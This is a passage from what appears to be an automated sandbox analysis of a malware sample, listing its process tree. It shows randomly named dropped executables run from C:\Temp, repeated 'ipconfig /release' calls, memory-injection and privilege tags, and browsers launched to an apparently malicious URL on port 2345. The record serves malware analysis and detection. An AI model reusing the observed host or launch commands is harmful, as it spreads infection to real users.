  - - C:\Temp\vpnkfcaupk.exe
      C:\Temp\vpnkfcaupk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4260
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3748
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vpnkfcaupk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:480
  - - C:\Temp\i_vpnkfcaupk.exe
      C:\Temp\i_vpnkfcaupk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5768
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\czxrpkhczu.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2060
  - - C:\Temp\czxrpkhczu.exe
      C:\Temp\czxrpkhczu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:436
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5296
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:672
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_czxrpkhczu.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5896
  - - C:\Temp\i_czxrpkhczu.exe
      C:\Temp\i_czxrpkhczu.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5832
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zurpjhecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2928
  - - C:\Temp\zurpjhecwu.exe
      C:\Temp\zurpjhecwu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5912
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2924
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zurpjhecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2840
  - - C:\Temp\i_zurpjhecwu.exe
      C:\Temp\i_zurpjhecwu.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3280
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wqojgbywro.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4352
  - - C:\Temp\wqojgbywro.exe
      C:\Temp\wqojgbywro.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5484
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4628
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5640
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wqojgbywro.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4136
  - - C:\Temp\i_wqojgbywro.exe
      C:\Temp\i_wqojgbywro.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3104
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtrljgbywt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5496
  - - C:\Temp\wtrljgbywt.exe
      C:\Temp\wtrljgbywt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4896
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2364
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5736
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtrljgbywt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4904
  - - C:\Temp\i_wtrljgbywt.exe
      C:\Temp\i_wtrljgbywt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\trljdbvtol.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4972
  - - C:\Temp\trljdbvtol.exe
      C:\Temp\trljdbvtol.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3316
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5096
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2460
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_trljdbvtol.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4252
  - - C:\Temp\i_trljdbvtol.exe
      C:\Temp\i_trljdbvtol.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3184
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kidaysqkid.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5556
  - - C:\Temp\kidaysqkid.exe
      C:\Temp\kidaysqkid.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4580
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5092
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4788
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kidaysqkid.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2724
  - - C:\Temp\i_kidaysqkid.exe
      C:\Temp\i_kidaysqkid.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3280
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqkicavsnk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1928
  - - C:\Temp\sqkicavsnk.exe
      C:\Temp\sqkicavsnk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2964
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2696
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqkicavsnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2184
  - - C:\Temp\i_sqkicavsnk.exe
      C:\Temp\i_sqkicavsnk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3376
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqnhfcxvpn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4868
  - - C:\Temp\sqnhfcxvpn.exe
      C:\Temp\sqnhfcxvpn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3224
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5284
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3004
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqnhfcxvpn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1784
  - - C:\Temp\i_sqnhfcxvpn.exe
      C:\Temp\i_sqnhfcxvpn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3888
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\spnhfzxrpk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5468
  - - C:\Temp\spnhfzxrpk.exe
      C:\Temp\spnhfzxrpk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4224
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4240
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5308
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_spnhfzxrpk.exe ups_ins
    3⤵
    PID:3584
  - - C:\Temp\i_spnhfzxrpk.exe
      C:\Temp\i_spnhfzxrpk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3168
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhezxrpmhf.exe ups_run
    3⤵
    PID:3496
  - - C:\Temp\jhezxrpmhf.exe
      C:\Temp\jhezxrpmhf.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2192
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:464
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2516
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhezxrpmhf.exe ups_ins
    3⤵
    PID:1288
  - - C:\Temp\i_jhezxrpmhf.exe
      C:\Temp\i_jhezxrpmhf.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hbzurmjebw.exe ups_run
    3⤵
    PID:5352
  - - C:\Temp\hbzurmjebw.exe
      C:\Temp\hbzurmjebw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3512
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4688
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3912
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hbzurmjebw.exe ups_ins
    3⤵
    PID:5056
  - - C:\Temp\i_hbzurmjebw.exe
      C:\Temp\i_hbzurmjebw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1956
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\geywrojhbz.exe ups_run
    3⤵
    PID:3040
  - - C:\Temp\geywrojhbz.exe
      C:\Temp\geywrojhbz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5628
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1400
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2504
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_geywrojhbz.exe ups_ins
    3⤵
    PID:5800
  - - C:\Temp\i_geywrojhbz.exe
      C:\Temp\i_geywrojhbz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6104
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtoljdbvto.exe ups_run
    3⤵
    PID:3352
  - - C:\Temp\wtoljdbvto.exe
      C:\Temp\wtoljdbvto.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1292
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4808
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtoljdbvto.exe ups_ins
    3⤵
    PID:1996
  - - C:\Temp\i_wtoljdbvto.exe
      C:\Temp\i_wtoljdbvto.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3448
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vqoigaytql.exe ups_run
    3⤵
    PID:2392
  - - C:\Temp\vqoigaytql.exe
      C:\Temp\vqoigaytql.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3148
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3744
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5524
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vqoigaytql.exe ups_ins
    3⤵
    PID:3928
  - - C:\Temp\i_vqoigaytql.exe
      C:\Temp\i_vqoigaytql.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5392
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqkigaysqk.exe ups_run
    3⤵
    PID:3688
  - - C:\Temp\sqkigaysqk.exe
      C:\Temp\sqkigaysqk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3604
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2564
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3184
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqkigaysqk.exe ups_ins
    3⤵
    PID:468
  - - C:\Temp\i_sqkigaysqk.exe
      C:\Temp\i_sqkigaysqk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6080
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ausqkifavs.exe ups_run
    3⤵
    PID:2324
  - - C:\Temp\ausqkifavs.exe
      C:\Temp\ausqkifavs.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:428
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3160
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5416
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ausqkifavs.exe ups_ins
    3⤵
    PID:3192
  - - C:\Temp\i_ausqkifavs.exe
      C:\Temp\i_ausqkifavs.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5764
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\uspkicausp.exe ups_run
    3⤵
    PID:2516
  - - C:\Temp\uspkicausp.exe
      C:\Temp\uspkicausp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5648
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4528
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2428
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_uspkicausp.exe ups_ins
    3⤵
    PID:5464
  - - C:\Temp\i_uspkicausp.exe
      C:\Temp\i_uspkicausp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2480
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mjhfcxupmh.exe ups_run
    3⤵
    PID:5012
  - - C:\Temp\mjhfcxupmh.exe
      C:\Temp\mjhfcxupmh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5388
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5292
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1392
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c0,0x300,0x7ffaa0b5c188,0x7ffaa0b5c194,0x7ffaa0b5c1a0
      4⤵
      PID:4128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1940,i,14196207318446789829,17329194005446888255,262144 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=2500 /prefetch:2
      4⤵
      PID:4836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2148,i,12941893042277573731,3455661803421652027,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:11
      4⤵
      System Time Discovery
      PID:5720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2600,i,8010070967362635769,11367270545564533727,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=2576 /prefetch:13
      4⤵
      PID:2756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3596,i,8341746288338904530,7387596578484946999,2097152 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
      4⤵
      PID:2460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3600,i,6933011279802073597,7451907805302927142,2097152 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
      4⤵
      PID:5288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4308,i,6949459613372372645,17670791287040676124,2097152 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:1
      4⤵
      PID:5996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,17302455794380620694,822670561315260726,2097152 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=4780 /prefetch:9
      4⤵
      PID:1360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3752,i,16585200852118213077,16270456981666296837,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:14
      4⤵
      PID:3688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5448,i,8828941917344442134,2741322605295067773,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:14
      4⤵
      PID:200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,6224191023275118572,9582558936811763733,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:14
      4⤵
      PID:1788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6064,i,6688200045730148845,7932168277130872262,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:14
      4⤵
      PID:6072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6064,i,6688200045730148845,7932168277130872262,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:14
      4⤵
      PID:4256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,13019874942020545133,13887615348812160681,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:5628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6628,i,3368995076236595357,11798643189999375277,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6632 /prefetch:14
      4⤵
      PID:2564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5300,i,7111056600504742503,12116656539094692661,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:14
      4⤵
      PID:5416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5296,i,14209185267433399739,607425411216056192,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:14
      4⤵
      PID:5764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,14894316159169712693,18102794244775884955,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:14
      4⤵
      PID:2776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1544,i,11543372483738609442,10785030703126335694,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=1584 /prefetch:14
      4⤵
      PID:3984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
